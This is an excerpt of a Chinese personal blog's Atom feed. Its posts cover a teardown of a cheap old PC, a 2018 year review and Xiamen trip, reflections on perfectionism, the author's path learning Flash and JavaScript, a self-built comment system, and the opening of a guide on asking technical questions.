<p><a href="http://www.cpu-world.com/CPUs/K10/AMD-Athlon%20X2%207750%20Black%20Edition%20-%20AD775ZWCJ2BGH%20(AD775ZWCGHBOX).html">AMD Athlon 7750</a>。这台机器是 2010 年装的，但是据 <code>@qwe7002</code> 说，这片 CPU 在 2008 年就属于比较慢的了。</p>
<p><img src="https://file.tcdw.net/blog/post/fd34f403-e21e-5d4d-b4ec-e75d0e0244f0/crappc1-9.jpg" alt="擦干净的主板"></p>
<p>擦干净的主板，是 ASUS <a href="https://www.asus.com/Motherboards/M2N68AM_PLUS/">M2N68-AM PLUS</a>。也是低端板子呢。</p>
<p><img src="https://file.tcdw.net/blog/post/fd34f403-e21e-5d4d-b4ec-e75d0e0244f0/crappc1-5.jpg" alt="光驱"></p>
<p>PHILIPS SPD2213，<a href="http://www.cnetnews.com.cn/2008/0331/787901.shtml">据说是市场上最便宜的光驱。</a></p>
<h2>大炸弹</h2>
<p><img src="https://file.tcdw.net/blog/post/fd34f403-e21e-5d4d-b4ec-e75d0e0244f0/crappc1-1.jpg" alt="电源参数"></p>
<p>嗯，来自惠州高级工厂的产物。这台机器的不稳定，一定程度上就是这个大炸弹搞得鬼了（包括 USB 供电不足的问题）。</p>
<p>顺便这个序列号其实没什么卵用，<a href="https://www.google.com/search?q=2009010907345093&tbm=isch">因为看起来他家所有产品都用这个序列号。</a></p>
<p><img src="https://file.tcdw.net/blog/post/fd34f403-e21e-5d4d-b4ec-e75d0e0244f0/crappc1-3.jpg" alt="电源内部"></p>
<p><img src="https://file.tcdw.net/blog/post/fd34f403-e21e-5d4d-b4ec-e75d0e0244f0/crappc1-2.jpg" alt="电源内部"></p>
<p><img src="https://file.tcdw.net/blog/post/fd34f403-e21e-5d4d-b4ec-e75d0e0244f0/crappc2-0.jpg" alt="电源内部"></p>
<p>于是我把大炸弹的风扇拆了出来，发现了绿色的奇怪地方。那是做什么用的呢？</p>
<p><img src="https://file.tcdw.net/blog/post/fd34f403-e21e-5d4d-b4ec-e75d0e0244f0/crappc2-2.jpg" alt="电源内部"></p>
<p>原来特么是用来遮盖固定两组线缆的部分！看起来这玩意还是从奇怪的电子垃圾上迫真剪下来的风扇，然后这样凑合固定一下，就装到电源里面了。</p>
<h2>结论</h2>
<p>这台机器，最后除了两根 SATA 线被我拆了出来，被我原封不动的扔到垃圾桶了。</p>
<p>对于我们这种装机小白，看起来还是买品牌整机比较好。虽然性价比不是那么高，但最起码很靠谱啊。</p>
<p>以及便宜没好货。</p>
]]></content>
        <author>
            <name>tcdw</name>
        </author>
    </entry>
    <entry>
        <title type="html"><![CDATA[我的 2018]]></title>
        <id>https://www.tcdw.net/post/2018/</id>
        <link href="https://www.tcdw.net/post/2018/"/>
        <updated>2019-01-01T09:13:13.000Z</updated>
        <summary type="html"><![CDATA[好耶，我终于把 2018 年瞎鸡巴过完了！让我们看看究竟发生了什么吧。   新增项目  大学以后，自由的时间越来越多啦，于是自己糊了一些奇怪的项目：   Pomment（预计在 2019 年发布）  博客主题  HTML 转 EFML 工具  SilverBlog 首页（仅前端实现部分）]]></summary>
        <content type="html"><![CDATA[<p>好耶，我终于把 2018 年瞎鸡巴过完了！让我们看看究竟发生了什么吧。</p>
<h2>新增项目</h2>
<p>大学以后，自由的时间越来越多啦，于是自己糊了一些奇怪的项目：</p>
<ul>
<li>Pomment（预计在 2019 年发布）</li>
<li><a href="https://github.com/tcdw/egoist">博客主题</a></li>
<li><a href="https://github.com/tcdw/html2efml">HTML 转 EFML 工具</a></li>
<li><a href="https://silverblog.org/">SilverBlog 首页（仅前端实现部分）</a></li>
<li>SilverPDA（第一次玩 Arduino 写的奇怪东西，顾名思义）</li>
<li>……</li>
</ul>
<p>以及其它一些奇怪的多人合作和为别人糊的东西（小声</p>
<h2>非主流氪金（？</h2>
<p>没想到曾经作为网易云音乐、Spotify 等串流服务的忠实用户的我，居然在 qwe 前辈的影响下，开始买专辑听了。其中实体专辑占了相当一部分<span style="opacity: 0.2">，而且基本上都是捡垃圾</span>。</p>
<p>同时终于意识到，听专辑其实是另外一种完全不同的听音乐的方式。一张专辑里面的曲目安排等等，按顺序听下来其实相当有趣的！而串流服务上的那些歌单，却把这些有趣的地方都掩盖了，就相当尴尬了（</p>
<p>以及</p>
<blockquote>
<p>毕竟我还是相信那句话，要是真的喜欢的话，就花钱支持他们吧。<a href="https://qwe7002.com/post/wang-yi-yun-yin-le--cong-ru-men-dao-fang-qi/">(ref)</a></p>
</blockquote>
<p>（我知道我的数字收藏还是比大佬们差远了 QAQ</p>
<h2>设备的变迁</h2>
<p>2018 年初，我给我家安装了网件的 GS308 <strong>千兆</strong>交换机，还买了块 2TB 的东芝监控盘和硬盘盒，用一部 <a href="http://www.gigabyte.tw/Mini-PcBarebone/GB-BXBT-2807-rev-10">NUC</a> 搞起了自家的云存储服务。</p>
<p>然后我意识到我其实并不需要那么多存储……直到 2018 年底，我只使用了不到 200GB。毕竟以前很多垃圾文件盒所谓资源塞满了我的移动硬盘什么的，删除它们其实就没啥了。于是大概很长时间都不用担心存储空间不足的问题了。</p>
<p>蛤，你说那种网盘？我现在都几乎不用了（</p>
<p>以及手机的话，我的主力开始转向一部 iPhone 6S Plus 了<span style="opacity: 0.2">（虽然是我爸淘汰的，他换了部高级黑色 oppo）</span>。一个原因嘛，就是我跟 macOS 进行互联互通，不至于那么胶水化。以及 iOS 真的是不折腾党的福音啊！</p>
<h2>杭州、上海、厦门</h2>
<p>今年暑假，我做了件相当作死的事情：一个人去杭州、上海和厦门瞎几把玩。</p>
<p>（TODO：添加相关图片）</p>
<p>结果当然是不尽如人意的：我在杭州的最后一天中暑了，然后在上海的酒店休息了半天，最后潦草的去了趟外滩，隔着河观赏了东方明珠塔；同时中暑的其它后遗症一直持续到我的厦门行程，那是相当尴尬了……</p>
<p>不过其实游玩景点并不是重点。在这期间还是和许多在网络上认识的、从未谋面的人见了面，感觉相当开心！qwe7002、Librazy、TonyPrince、SJoshua、rsqppp、Jack Works、M0xkLurk3r，以及其它最终因故没有与我会面的朋友们，感谢你们的支持！</p>
<p><span style="opacity: 0.2">结果我关于美丽的景色毫无印象，<a href="https://www.tcdw.net/post/xiamen-2018/">却对与<del>沙雕</del>网友的交流印象深刻</a>（</span></p>
<h2>杂项成就</h2>
<ul>
<li>通过了英语四级考试</li>
</ul>
<h2>已知问题</h2>
<ul>
<li>瞎几把花钱导致自己山穷水尽（比如 Bandcamp 上的音乐和各种蜜汁转接头</li>
<li>我用的 MacBook Pro 没有 Touch Bar（因此也没有另外两个雷电 3 接口，导致我的外设设定是相当的 clunky 啊。。后悔死了，但我当时真的糊涂了</li>
<li>对一些底层的事物了解不深</li>
<li>很多东西只会瞎几把做，然后搞得一塌糊涂</li>
</ul>
<h2>2019 年要做点啥？</h2>
<ul>
<li>把 Pomment 项目写到能够发布的程度</li>
<li>去更多的城市旅行，包括但不限于南京 / 福州 / 广州 / 成都等等</li>
<li>停止瞎氪金，买一些重要的东西：</li>
<li>Nintendo Switch</li>
<li>Hades Canyon</li>
<li>2019 款 15 寸 MacBook Pro</li>
<li>一个还行的 1080p 或 2k 显示器</li>
<li>通过科目二考试</li>
<li>把三次元的其它事情处理好</li>
</ul>
<hr>
<p>啊，差不多就这些了。</p>
<p>2019 年，大家要一起努力哦。</p>
]]></content>
        <author>
            <name>tcdw</name>
        </author>
    </entry>
    <entry>
        <title type="html"><![CDATA[2018 厦门面基记]]></title>
        <id>https://www.tcdw.net/post/xiamen-2018/</id>
        <link href="https://www.tcdw.net/post/xiamen-2018/"/>
        <updated>2018-07-24T17:26:07.000Z</updated>
        <summary type="html"><![CDATA[7 月 20 日，我乘坐动车从上海虹桥到了厦门北。  qwe7002 与 Librazy 在厦门北站接了我，带着我乘坐厦门地铁到了岛内。  当天晚上，我们和 TonyPrince、SJoshua 和 Lafit 进行了愉快的聚餐。  在 qwe7002 的劝说下，终于尝试了一下海鲜，感觉好棒！]]></summary>
        <content type="html"><![CDATA[<p>7 月 20 日，我乘坐动车从上海虹桥到了厦门北。</p>
<p><a href="https://qwe7002.com/">qwe7002</a> 与 <a href="https://im.librazy.org/">Librazy</a> 在厦门北站接了我，带着我乘坐厦门地铁到了岛内。</p>
<p>当天晚上，我们和 TonyPrince、<a href="http://sforest.in/">SJoshua</a> 和 Lafit 进行了愉快的聚餐。</p>
<p>在 qwe7002 的劝说下，终于尝试了一下海鲜~~，感觉好棒~~！</p>
<p>第二天和第三天，我们上午在鹭江道星巴克谈笑风生，下午瞎玩，晚上在厦大学生公寓附近继续谈笑风生，同时玩基岩版 Minecraft。</p>
<p>我们陆续游览了世茂海峡大厦、厦门大学和鼓浪屿。芙蓉隧道超有趣的！</p>
<p>qwe7002 带着我和 Librazy 瞎转，去了各种<del>未必能去的</del>景点。真是<del>不</del>令人难忘的景色！</p>
<p>由于机票时间等原因，我在 22 号晚上与 qwe7002 和 Librazy 告了别，在 23 号抱着恋恋不舍的心情独自回到了呼和浩特。</p>
<p>这次厦门之旅真是太棒了，特别是有了 qwe7002 和 Librazy 的陪伴。</p>
<p>我们后会有期！</p>
<p><img src="https://file.tcdw.net/blog/post/f36f35c9-0599-59ca-b34b-e3778daab5b3/3guy.jpg" alt="好耶，是 qwe 和老赖"></p>
<iframe allow="autoplay *; encrypted-media *;" style="width:100%;overflow:hidden;background:transparent;" sandbox="allow-forms allow-popups allow-same-origin allow-scripts allow-storage-access-by-user-activation allow-top-navigation-by-user-activation" src="https://embed.music.apple.com/us/album/past-present-feat-seira-kariya/1121997633?i=1121998300&app=music" height="150" frameborder="0"></iframe>]]></content>
        <author>
            <name>tcdw</name>
        </author>
    </entry>
    <entry>
        <title type="html"><![CDATA[我（曾经）设想过的外置智能大脑]]></title>
        <id>https://www.tcdw.net/post/external-head/</id>
        <link href="https://www.tcdw.net/post/external-head/"/>
        <updated>2018-06-28T03:59:39.000Z</updated>
        <summary type="html"><![CDATA[因为一些我不知道的原因，我感觉我情商是负的，在社交等场合常常遇到挫折。  我感觉我的大脑缺乏其它人在情感与社交方面的硬件加速。因此，我一直设想一款外置大脑，可以帮助我解决现实生活中的实际问题，令我的情商提升 -200%。   通过机器学习，预测现实生活中我说出不同话语导致的不同结]]></summary>
        <content type="html"><![CDATA[<p>因为一些我不知道的原因，我感觉我情商是负的，在社交等场合常常遇到挫折。</p>
<p>我感觉我的大脑缺乏其它人在情感与社交方面的硬件加速。因此，我一直设想一款外置大脑，可以帮助我解决现实生活中的实际问题，令我的情商提升 -200%。</p>
<ul>
<li>通过机器学习，预测现实生活中我说出不同话语导致的不同结果，从而让矛盾最小化，生活顺利率和声誉最大化</li>
<li>通过大数据技术：<ul>
<li><a href="/post/memory-skill">帮助我背诵难以背诵的东西</a></li>
<li>核实我将要发的帖子是否火星</li>
<li>核实我将要发的帖子是否存在不准确的地方</li>
<li>核实我的发言对其他人的兼容性</li>
</ul>
</li>
<li>通过 AI，帮助我自动喷人，对抗那些喷子</li>
<li>通过区块链技术记录下那些欺负我的人</li>
<li>通过机器学习，制订出最好的计划</li>
</ul>
<p>这样，我的大脑就省去了很多负担，我可以安心的写垃圾 JavaScript 代码了！</p>
<p>（未完待续</p>
]]></content>
        <author>
            <name>tcdw</name>
        </author>
    </entry>
    <entry>
        <title type="html"><![CDATA[没用的无懈可击]]></title>
        <id>https://www.tcdw.net/post/useless-prefect/</id>
        <link href="https://www.tcdw.net/post/useless-prefect/"/>
        <updated>2018-06-20T14:42:19.000Z</updated>
        <summary type="html"><![CDATA[近年来，我终于意识到为什么我总是不开心，因为我试图让自己无懈可击。  上初中的时候，我所在的班级管理严格，如果出现违反班规的情况，那么就会有惩罚。最常见的就是罚抄课文。  因为我初中的时候就被我同学在暗处捅过很多刀子，向负责罚抄课文的班干部举报我，本来无关紧要的小细节被炒成一件严重的问题（比如忘了关灯、迟到不到一分钟但老师都还没来），作为惩罚，我不得不常常一两点才睡觉。]]></summary>
        <content type="html"><![CDATA[<p>近年来，我终于意识到为什么我总是不开心，因为我试图让自己无懈可击。</p>
<p>上初中的时候，我所在的班级管理严格，如果出现违反班规的情况，那么就会有惩罚。最常见的就是罚抄课文。</p>
<p>因为我初中的时候就被我同学在暗处捅过很多刀子，向负责罚抄课文的班干部举报我，本来无关紧要的小细节被炒成一件严重的问题（比如忘了关灯、迟到不到一分钟但老师都还没来），作为惩罚，我不得不常常一两点才睡觉。</p>
<p>天真的我以为，只要我做的更好，那么他们就不会惩罚我了。但我并不是计算机那样的东西，我还是偶尔会犯错误，被那些平时笑脸相迎的同学找到把柄，被拿去告状。（其实我们并没有那种告状就有奖励的机制，但也许他们告状的动机是为了看我被惩罚来获得愉悦感？不过我跟他们表面上的关系都不算很好。）</p>
<p>我找老师说他们老告我状，然而我们老师总会说类似『为什么人家不告别人就告你，肯定是你自己有问题』。我很难受但是无语。</p>
<p>于是，我开始试图让自己变得无懈可击，来确保人家根本抓不到我的把柄。有一次我意识到自己要迟到，马路上全是车，还努力往学校跑，差点被一辆疾驰的车撞飞，我恰好闪了过去，侥幸逃过一劫。</p>
<p>但后来我每天很累的努力让自己什么问题都没有，却还是会被同学抓住我的把柄，然后我依然要接受惩罚，抄课文抄到一两点。</p>
<p>最后在母上大人的支持下，我公然拒绝抄课文，最后强行把事件捅到了班主任那边，我们班主任还和母上进行了一番谈话……</p>
<p>就这样，我再也没有抄过课文。</p>
<p>然而我努力让自己无懈可击的心理并没有就这样消除。从各个方面，我害怕别人批评我、害怕我做的有一点不完美、害怕哪一天又有人从很小的细节抓住我的把柄，然后强行上升到某种高度，把我打压下去。于是总是习惯性的把自己搞的很疲惫，直到我有理由感叹『嗯，别人肯定找不到理由抓我把柄』了。</p>
]]></content>
        <author>
            <name>tcdw</name>
        </author>
    </entry>
    <entry>
        <title type="html"><![CDATA[tcdw 与 ECMAScript]]></title>
        <id>https://www.tcdw.net/post/learn-javascript/</id>
        <link href="https://www.tcdw.net/post/learn-javascript/"/>
        <updated>2018-05-27T01:23:46.000Z</updated>
        <summary type="html"><![CDATA[其实 tcdw 小时候并没有对计算机特别感兴趣，tcdw 曾经的梦想是当一名建筑设计师。但是，因为在 tcdw 很小的时候家里就有了一台电脑，tcdw 还是玩了很多奇怪的东西，包括 Frontpage 2003。  那时 tcdw 出于好玩的目的，设计了一个又一个版本的个人网站框架，除了内容。 tcdw 还设计了一套自己的『前端样式库』（其实只是在 Frontpage 的 CSS 选项菜单里把所有 HTML 标签都那么定义了一下样式）。]]></summary>
        <content type="html"><![CDATA[<p>其实 tcdw 小时候并没有对计算机特别感兴趣，tcdw 曾经的梦想是当一名建筑设计师。但是，因为在 tcdw 很小的时候家里就有了一台电脑，tcdw 还是玩了很多奇怪的东西，包括 Frontpage 2003。</p>
<p>那时 tcdw 出于好玩的目的，设计了一个又一个版本的个人网站框架，除了内容。 tcdw 还设计了一套自己的『前端样式库』（其实只是在 Frontpage 的 CSS 选项菜单里把所有 HTML 标签都那么定义了一下样式）。</p>
<p>然而 tcdw 发现自己的网站总是缺点什么。好奇的 tcdw 通过右键点击来观察，终于发现了有一种神奇的东西叫 Flash。2006 年， tcdw 的舅舅送给 tcdw 一张 Macromedia MX 全家桶光盘、一张网页素材大全 DVD，还有一本 Flash MX 教材。于是 tcdw 便很开心的开始制作奇怪的 Flash，并嵌入到自己做的网页里。后来 tcdw 又缠着母上大人买了一本《精通 Flash 8》和一张 Flash 8 的盗版 CD。有了滤镜特性，tcdw 做的更来劲了。</p>
<p>2007 年，tcdw 从《小读者》杂志注意到袁日涉拥有自己的环保网站，tcdw 很羡慕，便进去看了看。当 tcdw 看到她在 2006 年的获奖作品《从纸到树的生态研究》里的 Flash 导航菜单，tcdw 很诧异：为什么那个菜单背景可以跟着鼠标移动，而且还会缓动变色？</p>
<p>虽然那本书上已经讲了一些 ActionScript，tcdw 也能照着书上的例子使用 <code>gotoAndPlay</code> 之类的 API 控制播放，但是那两本书讲的非常粗略，<strong>因为都是主要讲 Flash 动画制作，而不是 Flash 编程。</strong></p>
<p>后来 tcdw 摸爬滚打的求助度娘，终于发现有一家网站叫<strong>闪吧</strong>，那边有大量的 Flash 资源。tcdw 如饥似渴的下载了大量的 Flash 源文件，观察它们是如何运作的。这时 tcdw 才发现，原来 ActionScript 可以写的更加复杂！</p>
<p>于是，tcdw 照葫芦画瓢的尝试，凭借小学学的那点英语判断各种关键词的意图，初步建立了编程的概念。而当时 tcdw 也发现了有一款软件叫<strong>网页特效制作专家</strong>，里面集合了大量的网页特效。因为它们的本质都是 JavaScript，tcdw 也开始靠着复制粘贴奇怪的代码片段，试着拼凑一些不需要 Flash 的网页特效，结果还很成功。不过因为 HTML 4 的表现力太有限了（而且 tcdw 还在用 Frontpage 2003 + IE 6 的坑爹组合），所以 tcdw 的重心依然在 Flash 上。</p>
<p>闪吧投稿的质量也是参差不齐。因为很多投稿人本身对编程也没有太深入的研究，只是用一些意大利面代码完成一些交互性的东西，以至于他们写的代码就有很多逻辑缺陷，而 tcdw 盲目学习他们，对自己的编程思维产生了很多负面影响。</p>
<p>2008 年，tcdw 为 <a href="https://www.nt-yangjing.com/">杨静</a> 翻唱的《雪人》做了一个 Flash MV。那是 tcdw 当时做过的最复杂的 Flash 了，不仅用到了很多 Flash 元件，还使用了 tcdw 学到的 ActionScript 实现了雪花特效以及一个很中二的『拖动光盘到标题文字即可开始播放』的功能（用到了 <code>hitTest</code> 这个 API）。做完以后，得到了父母的赞扬，还在小学的多媒体设备上，向全班同学放了一遍。<strong>那是 tcdw 最信心满满的时刻之一了。</strong></p>
<div class="video-container"><object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=9,0,28,0" id="index">
  <param name="movie" value="https://file.tcdw.net/blog/misc/snowman_yangjing.swf" />
  <param name="allowFullScreen" value="true" />
  <param name="quality" value="high" />
  <param name="wmode" value="opaque" />
  <embed src="https://file.tcdw.net/blog/misc/snowman_yangjing.swf" name="index" allowFullScreen="true" quality="high" wmode="opaque" pluginspage="https://get.adobe.com/cn/flashplayer/" type="application/x-shockwave-flash"></embed>
</object></div>

<h2>闪吧投稿</h2>
<p>到了 2010 年，tcdw 感到自己的 Flash 制作已经有了套路，而且有些东西看起来比闪吧上已有的一些源文件（包括粗制滥造的、从同一个教程复制粘贴的）质量还要好。那时，tcdw 做过的最复杂的 Flash 作品是一个交互性比较高的音乐播放器，可以调节进度、音量、播放列表，还有 LRC 展示，以及 <a href="/post/split">没有完工的、基于搜搜的在线搜索音乐并添加到当前播放列表的功能</a>（换成 2018 年应该是基于网易云音乐的吧）。不过遗憾的是，这个播放器在 2010 年的一次 U 盘故障中丢失了。</p>
<p>于是，tcdw 大胆的尝试往闪吧投稿。tcdw 做的一个中看不中用的光影特效、俩鼠标特效和一个 Flash 调色板都审核通过了。 tcdw 在自己的作品介绍里都留下了 QQ 号，然后还真的有不少人加 tcdw 好友，而且大概有 30 多人吧。于是 tcdw 还建了一个 QQ 群，叫『闪客交流』。</p>
<p>每当有人问 tcdw 问题，tcdw 一般出于保持脸面的考虑，会凑合回答一下；tcdw 也遇到过一大堆伸手党，这时 tcdw 就很高冷的说：『闪客教学，收费。』然后他们就走了（没人真的来付费希望 tcdw 教他们</p>
<p>其实 tcdw 也不是没有接纳过伸手党的所谓任务。有一个伸手党希望 tcdw 帮忙做一下他的 Flash 作业， tcdw 当时傻乎乎的同意了。但 tcdw 后来发现他的那个作业还很难做，而 tcdw 还没在人家的 deadline 以前搞定。 tcdw 就想：『我凭什么要为他做作业？』</p>
<p>想到这里， tcdw 便告诉他：『你的作业我不做了。』因为 tcdw 当时的态度也不得当，人家便进 tcdw 的 QQ 空间大骂 tcdw 是骗子云云（当然那些评论都被 tcdw 删除了）。后来吸取了教训，就再也没有承担过那种一上来就求做作业的伸手党的任务。</p>
<h2>牛逼的 QQ 空间红人</h2>
<p>从闪吧过来加 tcdw QQ 的人，有两位开了很多钻，QQ 空间里面全是 Flash，看起来特别炫酷，还标榜是『blahblah 的腾讯博客』、『网络红人』什么的， tcdw 羡慕死了，为什么 tcdw 的同学开了黄钻，却还在用官方那几套模板？如果做一套很炫酷的 QQ 空间模板，一定会受到周围的人羡慕、尊敬啊！</p>
<p>当时 tcdw 也开通了自己的个人网站，用的是 5944 的免费空间，而且访问地址更新事宜已经在 tcdw 的 QQ 空间公告了好几次（虽然大概没人真的看过）。于是， tcdw 把专门为自己 QQ 空间做的 Flash 传到了自己的免费空间，再在 QQ 空间引用自己做好的 Flash。果然，有很多『萌新』开始加 tcdw 的 QQ 了。</p>
<p>其实 tcdw 当时做的 Flash 并没有什么技术含量：把一些非主流的元素加进去，用 tcdw 小时候学会的 Flash 动画制作方法把它们耦合在一起，再用意大利面的 ActionScript 代码让它们做点什么交互性的事情，最后把 Flash 糊上 QQ 空间就是了。</p>
<p>当时还有一种叫 QCC 的东西非常火爆。其中有一家推出的 QCC 模板非常华丽，功能也很齐全（比如可以读取你的日志列表、显示最近访客等等），收费还记得是 60 元一年、100 元永久。但人家的反逆向工程还是可以的，用 Sothink SWF Decomplier 和 ASV2010 打开，程序都会崩溃。不过后来 tcdw 还是想办法把他们的那个音乐播放器元件结构逆向了出来，并填充了 tcdw 自己写的 ActionScript 代码，实现了一致的功能。</p>
<p>至于空间日志展示等功能， tcdw 也解决了。2010 年的某一期《电脑爱好者》杂志，有篇文章安利了 Chrome 浏览器，表示你可以用里面的开发者工具做很多事情，比如通过录制 Network 动态来下载 FLV 视频。于是 tcdw 下载了 Chrome 浏览器，通过观察 Network 的动态，发掘了很多 tcdw 梦寐以求的 QQ 空间私有 API。然后 tcdw 通过 split 大法解析 JSON，实现了各种付费 QCC 才有的高级功能，吸引了好多人的目光（其实最多也就几十人）。<strong>同时 tcdw 发现 Chrome 浏览器在他爸花 2k 装的坑爹 Windows XP 台式机运行非常快，于是 tcdw 便从 IE 6 / 8 用户变成了一名 Chrome 用户，直到今天。</strong></p>
<h2>原来 Flash 已经开始被人讨厌了呢</h2>
<p>然而好景不长，当 tcdw 在制作功能更高级的 QQ 空间 Flash 时，腾讯突然宣布：为了防止有人通过 Flash 盗取 QQ 密码，从 2011 年 8 月起只允许在白名单列表的网站的 Flash 被插入到 QQ 空间首页。</p>
<p>那还玩个屁啊！只见各种 QCC 卖家和 QQ 空间 FD 模块作者哭天喊地，希望 QQ 空间能够解除这种限制，但是并没有什么用。期间虽然有人发现了一些绕过方法，但是后来都被封堵了。再后来 QQ 空间推出 6.0 版，以前的一大堆套路全失效了。tcdw 也是在那时渐渐跟 tcdw 认识的那群闪客疏远，最后在一两年前的一次 QQ 好友清理中被 tcdw 删除了。</p>
<p>没有 Flash 的 QQ 空间是无聊的。再往后，tcdw 觉得 QQ 空间没什么好玩的，就不再续费黄钻。tcdw 的黄钻等级从 7 级一路下滑到 1 级了。</p>
<p>2011 年，tcdw 恰好通过 ZYH 的 NES 模拟器『ZYH Emulator』知道了百度超级马里奥吧，后来又找到了超吧大水库吧，然后认识了 <a href="https://jixun.moe">Jixun</a>。Jixun 菊苣是一个很厉害的人，不仅帮助 tcdw 修改过很多意大利面代码，还让 tcdw 知道了 HTML5、GitHub、响应式页面等很多新奇的东西，让 tcdw 大开眼界。</p>
<p>但在接下来几年里，由于学业原因，tcdw 的 JavaScript 学习就停滞了。虽然期间 tcdw 利用 HTML5 API 做过一些类似 HTML5 音乐播放器之类的东西，但是他的编程思维还是小时候的那套。</p>
<h2>吐槽大王与主流 JavaScript</h2>
<p>2014 年底，tcdw 在百度免费空间吧 QQ 群看到有人发布了 Hostker 的链接。tcdw 进去一看，发现跟自己熟悉的那种虚拟主机官网很不一样，看上去非常亲和。在示例用户那一栏，tcdw 看到了 <a href="http://i.mouto.org/">卜卜口</a> 的博客，点进去一看，发现样式很新奇，页面加载速度也很快。tcdw 试图查看源文件，却发现只有几个看似单薄的 js 文件。后来通过体验他的 <a href="http://github.com/itorr/imouto">妹 blog</a>，tcdw 第一次拥有了关于 SPA 的概念。</p>
<p>后来，tcdw 在一次偶然的机会认识了 <a href="https://luojia.me/">佳佳酱</a>，进而认识了一群有趣的人。tcdw 从他们那里知道了 Node.js，便信心满满的开始编写一些会读取文件的、看起来很正经的东西。然后 tcdw 便发现，自己写的代码不符合他的期望：</p>
<pre><code class="language-javascript">var fs = require(&quot;fs&quot;);
var str;
fs.readFile(&quot;1.txt&quot;, { encoding: &quot;utf8&quot; }, function (err, txt) {
  if (err) throw err;
  console.log(&quot;文件读取成功！&quot;);
  str = txt;
});
console.log(str);
</code></pre>
<p>tcdw 想：我是想先输出『文件读取成功』再输出 1.txt 的内容啊，为什么是先输出 undefined 再输出『文件读取成功』？tcdw 很困惑，他上网搜索答案，知道了这是因为 JavaScript 的异步处理方式导致的，但是一大堆文章都没有给出较好的解决方案。后来，tcdw 便改用了 fs.readFileSync 来读取他的文件，实现了他期望的那种顺序执行。</p>
<p>但后来 tcdw 想使用 <a href="https://www.npmjs.com/package/superagent">superagent</a> 库来读取网络的内容来帮他不断在 SMW Central 的某活动中刷帖，但那个库并没有提供同步方法。于是，tcdw 想到了一个馊主意来实现他期望的同步执行，其实就是 <a href="http://callbackhell.com/">Callback Hell</a>。</p>
<p>tcdw 还通过 setTimeout 来延时，并递归调用请求函数，试图实现不间断定时刷帖。但 tcdw 的程序运行了没多久，就因为 <code>Maximum call stack size exceeded</code> 错误崩溃了。那时的 tcdw 想不到更好的办法，就只好在他的 VPS 上设置了一个 cron 任务，每半分钟重新调用一次脚本来发帖。</p>
<p>问题是解决了，但 tcdw 渴望知道究竟该如何玩转 JavaScript 的异步编程，于是通过不断努力，终于搞明白了这些奇怪的事情。</p>
<h2>好耶，是 ES2015</h2>
<p>直到 2017 年，tcdw 终于结束了高考。tcdw 终于开始系统性的学习 ES2015，不仅学到了很多已经存在几年的新特性，还拥有了新的思维。</p>
<p>同时，tcdw 终于开始大胆尝试接触以前他觉得很复杂、难以搞懂的东西，比如 webpack、rollup 之类的打包工具。与此同时，tcdw 深入的学习了一些更加抽象的知识，比如 DOM 和面向对象思维。总之大学以来的一年是 tcdw 进步最大的一年，算是可喜可贺吧。</p>
<h2>总结</h2>
<p>由此可见，tcdw 走的这条路其实非常不科学，以至于 tcdw 尽管很小就接触编程，但不仅没有取得骄人的成绩，还跟很多同龄菊苣的水平差距巨大。tcdw 还残留了很多古董的编程思想，以至于很多人看到 tcdw 写的代码都感到有些莫名其妙。</p>
<p>不过那些事情都过去了，而且我距离毕业还有几年。于是对于弥补一些事情来说，还是来得及的吧。</p>
]]></content>
        <author>
            <name>tcdw</name>
        </author>
    </entry>
    <entry>
        <title type="html"><![CDATA[评论框]]></title>
        <id>https://www.tcdw.net/post/pomment/</id>
        <link href="https://www.tcdw.net/post/pomment/"/>
        <updated>2018-05-15T06:19:07.000Z</updated>
        <summary type="html"><![CDATA[经过两个月的不懈努力，我填了我去年给自己挖的评论框 大坑 的一部分。  目前，我的博客已经开始使用我自己写的评论框了。目前基本完成了后端、访客前端、Telegram 提醒姬和 Disqus 导入工具的开发工作，但是管理面板还没有开工（于是我只有借助 cURL 来管理评论了  在这里要特别感谢一下 qwe7002、老宋 和 Jixun 姐姐，他们对 Pomment 的程序设计和实现提出了重要的建议。]]></summary>
        <content type="html"><![CDATA[<p>经过两个月的不懈努力，我填了我去年给自己挖的评论框 <a href="/post/pomment-brainhole/">大坑</a> 的一部分。</p>
<p>目前，我的博客已经开始使用我自己写的评论框了。目前基本完成了后端、访客前端、Telegram 提醒姬和 Disqus 导入工具的开发工作，但是管理面板还没有开工（于是我只有借助 cURL 来管理评论了</p>
<p>在这里要特别感谢一下 <a href="https://qwe7002.com">qwe7002</a>、<a href="https://ccoooss.com/">老宋</a> 和 <a href="https://jixun.moe">Jixun 姐姐</a>，他们对 Pomment 的程序设计和实现提出了重要的建议。</p>
<p>总之非常开心用上自己写的评论系统。</p>
<div class="video-container"><iframe src="https://www.youtube-nocookie.com/embed/PLfM7A-oPUQ?rel=0&amp;controls=0&amp;showinfo=0" frameborder="0" allow="autoplay; encrypted-media" allowfullscreen></iframe></div>]]></content>
        <author>
            <name>tcdw</name>
        </author>
    </entry>
    <entry>
        <title type="html"><![CDATA[如何提出计算机相关问题（更新）]]></title>
        <id>https://www.tcdw.net/post/how2ask/</id>
        <link href="https://www.tcdw.net/post/how2ask/"/>
        <updated>2018-04-26T15:56:21.000Z</updated>
        <summary type="html"><![CDATA[我发现很多计算机相关问题解决速度不够快，或者进度很快夭折的原因，是他们不会合理地提出计算机相关问题，不会合理地尝试解决问题。  有时他们试图在互联网上提问，但因为上述原因，他们往往会被潦草地告知先去阅读《提问的智慧》（或者 RTFM），或者被直接无视。虽然说这里面确实存在着不知感恩的伸手党，但也有很多人只是心急火燎地试图解决问题，因为上述原因走到了无可奈何的地步。]]></summary>
        <content type="html"><![CDATA[<p>我发现很多计算机相关问题解决速度不够快，或者进度很快夭折的原因，是他们不会合理地提出计算机相关问题，不会合理地尝试解决问题。</p>
<p>有时他们试图在互联网上提问，但因为上述原因，他们往往会被潦草地告知先去阅读《提问的智慧》（或者 RTFM），或者被直接无视。虽然说这里面确实存在着不知感恩的伸手党，但也有很多人只是心急火燎地试图解决问题，因为上述原因走到了无可奈何的地步。</p>
<p>我看到这种场景一次次发生，顿生怜悯之心，决定撰写这篇博文。</p>
<h2>先看看软件的官方说明</h2>
<p>对于一些常见的错误，软件官方说明一般会以 FAQ（常见问题）的形式给出解决方法，看一看往往很有用。</p>
<h2>尝试自行搜索</h2>
<p>其实很多计算机问题，你往往不是第一个遇到的（特别是开源软件，一些问题往往可以在它们的 GitHub issue 中看到）。网络上的解决方案，也许比你询问别人得到的更加准确。</p>
